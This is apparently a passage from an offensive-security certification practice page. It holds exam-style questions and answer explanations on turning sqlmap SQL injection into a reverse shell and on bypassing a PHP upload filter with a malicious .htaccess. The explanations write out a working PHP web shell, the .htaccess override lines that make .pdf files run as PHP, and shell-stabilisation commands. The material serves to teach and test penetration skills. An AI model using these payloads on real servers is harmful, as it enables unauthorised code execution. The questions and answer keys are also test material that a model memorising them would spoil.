command execution. You don’t combine them in the way described. - sqlmap’s `--os-pwn` feature is limited, often unstable, and not guaranteed to work in modern hardened environments. The question asks for the *most appropriate* and reliable next step; relying on `--os-pwn` automation is less controlled and more brittle than manually triggering a reverse shell via `--os-shell`. - The answer hand-waves the configuration details (payload selection, handler setup) and assumes sqlmap will "automatically" do everything, which is not realistic exam-grade reasoning. C) "Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery." - Issues: - The target is explicitly described as Linux-based. Using a Windows Meterpreter payload (`windows/meterpreter/reverse_tcp`) is incorrect and would fail. - Even if `--os-pwn` were used, you would need a Linux-appropriate payload (e.g., `linux/x86/meterpreter/reverse_tcp` or similar), not a Windows one. - Again, `--os-pwn` is less reliable and more situational than a straightforward reverse shell via `--os-shell`. Why D is best: - D uses `--os-shell` for what it’s good at: giving you a way to run arbitrary commands. - It then uses a standard, exam-relevant technique: manually issuing a reverse shell one-liner to a known-good outbound port (443), which is explicitly allowed. - This gives you a direct TCP shell that you control, which you can then stabilize (e.g., with: - `python3 -c 'import pty; pty.spawn("/bin/bash")'` - `stty raw -echo; fg` - `export TERM=xterm-256color` - This reflects realistic, hands-on exploitation logic: use the SQLi to get RCE, then pivot to a more stable shell. Domain: Vulnerability Analysis & Exploitation - You identified a SQL injection with sqlmap. - You selected an appropriate exploitation path (`--os-shell` + manual reverse shell) based on OS, network egress, and tool capabilities. - You avoided over-reliance on automated Metasploit integration and chose a controlled, realistic attack chain.

Sample Question 8 — Vulnerability Analysis & Exploitation

During an internal penetration test, you discover a legacy file upload feature on http://fileshare.corp.local/upload.php. The application is a PHP-based document management system running on Apache with mod_php on Linux. You intercept an upload request in Burp and see: POST /upload.php HTTP/1.1 Host: fileshare.corp.local Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.pdf" Content-Type: application/pdf %PDF-1.4 ... ------WebKitFormBoundary-- The server responds: HTTP/1.1 200 OK File uploaded successfully: /uploads/2025/12/test.pdf You try uploading a basic PHP web shell: <?php system($_GET['cmd']); ?> as `shell.php`, but receive: HTTP/1.1 400 Bad Request Invalid file type. Only PDF and DOCX allowed. You then upload the same payload as `shell.php.pdf` with Content-Type `application/pdf`. The server responds: HTTP/1.1 200 OK File uploaded successfully: /uploads/2025/12/shell.php.pdf You browse to: http://fileshare.corp.local/uploads/2025/12/shell.php.pdf and see the raw PHP code rendered as text, not executed. You run `gobuster` and discover that the `/uploads` directory has the following Apache configuration (leaked via a backup file `/uploads/.htaccess.bak`): <Directory "/var/www/html/uploads"> AllowOverride All </Directory> # .htaccess in /uploads <FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch> AddType application/x-httpd-php .php5 .phtml Which of the following is the most effective exploitation strategy to obtain remote code execution on this host, given the constraints above?

  1. A. Upload a file named `shell.phtml` containing the PHP payload, since `.phtml` is mapped to PHP execution via `AddType application/x-httpd-php .php5 .phtml`, then access it directly to execute commands.
  2. B. Upload a file named `.htaccess` that redefines `AddType application/x-httpd-php .pdf`, then upload `shell.pdf` containing PHP code and access it to execute commands. (Correct answer)
  3. C. Upload a file named `shell.php5` containing the PHP payload, since `.php5` is mapped to PHP execution via `AddType`, and the file type restriction only checks the MIME type, not the extension.
  4. D. Use a polyglot PDF/PHP payload in `shell.php.pdf` so that Apache treats it as PHP due to the `.php` substring in the filename, while the application still accepts it as a PDF.

Correct answer: B

Explanation: We have: - A PHP web app on Apache/mod_php. - Uploads go to `/uploads/2025/12/` and are web-accessible. - Server-side validation: "Only PDF and DOCX allowed" based on filename extension and/or Content-Type. - Upload of `shell.php` is blocked; `shell.php.pdf` is allowed but served as text. - `.htaccess.bak` reveals: <Directory "/var/www/html/uploads"> AllowOverride All </Directory> # .htaccess in /uploads <FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch> AddType application/x-httpd-php .php5 .phtml Key points: - Apache is configured to *deny* access to files ending in `.php`, `.php5`, or `.phtml` via `<FilesMatch>`. - `.php5` and `.phtml` are mapped to PHP execution, but they are also blocked by `<FilesMatch>`. - Only PDF and DOCX are allowed by the application, but we successfully uploaded `shell.php.pdf` with `application/pdf`. - `AllowOverride All` means `.htaccess` files inside `/uploads` can override directives, including `FilesMatch` and `AddType`. Correct answer: B Reasoning for B: 1. Because `AllowOverride All` is set for `/var/www/html/uploads`, any `.htaccess` file inside `/uploads` (or its subdirectories) can change Apache behavior. 2. The current `.htaccess` blocks `.php`, `.php5`, `.phtml` and maps `.php5` and `.phtml` to PHP. We want to: - Avoid the `<FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch>` restriction. - Make an allowed extension (e.g., `.pdf`) be treated as PHP. 3. A common exploitation pattern: - Upload a malicious `.htaccess` file that contains something like: AddType application/x-httpd-php .pdf <FilesMatch "\\.pdf$"> Require all granted </FilesMatch> - Or simply: RemoveHandler .pdf AddType application/x-httpd-php .pdf - This tells Apache to interpret `.pdf` files as PHP scripts. 4. Then upload `shell.pdf` containing: <?php system($_GET['cmd']); ?> and access: http://fileshare.corp.local/uploads/2025/12/shell.pdf?cmd=id Apache will now execute the PHP code inside the `.pdf` file, giving you RCE. 5. This strategy directly leverages the discovered misconfiguration (`AllowOverride All` + uploadable `.htaccess`) and the allowed file types (PDF/DOCX) to bypass the extension-based restrictions. Why the other options are wrong: A) "Upload a file named `shell.phtml` containing the PHP payload, since `.phtml` is mapped to PHP execution via `AddType application/x-httpd-php .php5 .phtml`, then access it directly to execute commands." - Problem 1: The application already rejected `shell.php` with "Invalid file type. Only PDF and DOCX allowed." It is very likely validating the extension and will also reject `.phtml`. - Problem 2: Even if you somehow uploaded `shell.phtml`, the `.htaccess` has: <FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch> This denies HTTP access to `.phtml` files entirely, so you couldn’t reach it via the browser. - Therefore, this does not lead to exploitable RCE. C) "Upload a file named `shell.php5` containing the PHP payload, since `.php5` is mapped to PHP execution via `AddType`, and the file type restriction only checks the MIME type, not the extension." - Problem 1: The scenario shows the application rejects `shell.php` based on extension; it’s unrealistic to assume it *only* checks MIME type for `.php5` but not for `.php`. Most such filters check the extension string and would also reject `.php5`. - Problem 2: Even if you bypassed the upload filter, `.php5` is also matched by: <FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch> So Apache would deny access to `shell.php5` as well. - Thus, you cannot execute it via HTTP. D) "Use a polyglot PDF/PHP payload in `shell.php.pdf` so that Apache treats it as PHP due to the `.php` substring in the filename, while the application still accepts it as a PDF." - Apache’s handler selection is based on the *final* extension, not substrings in the middle of the filename. - `shell.php.pdf` is treated as `.pdf`, not `.php`. - The existing `.htaccess` only maps `.php5` and `.phtml` to PHP, not `.pdf`. - Therefore, Apache will continue to treat `shell.php.pdf` as a regular file (likely served as text or downloaded), not as PHP code, regardless of polyglot tricks. - Without changing the server configuration (e.g., via `.htaccess`), this will not execute. Why B is the most effective and realistic: - It uses a classic and exam-relevant technique: abusing `AllowOverride All` and uploadable `.htaccess` to change how Apache interprets extensions. - It aligns with the constraints: - Only PDF/DOCX allowed → we make `.pdf` executable. - `.php`, `.php5`, `.phtml` blocked → we avoid them entirely. - It produces a clear RCE path: 1. Upload malicious `.htaccess` to `/uploads/2025/12/.htaccess`. 2. Upload `shell.pdf` with PHP code. 3. Access `shell.pdf?cmd=...` to execute commands. Domain: Vulnerability Analysis & Exploitation - You analyzed server-side validation, Apache configuration, and extension handling. - You selected a realistic exploitation chain: config abuse (`.htaccess`) → web shell execution. - This reflects OSWE/OSEP-style reasoning about web server behavior and upload misconfigurations.

Start the free eJPT practice test now | OSCP practice test | All offensive security domains | All Sample Tests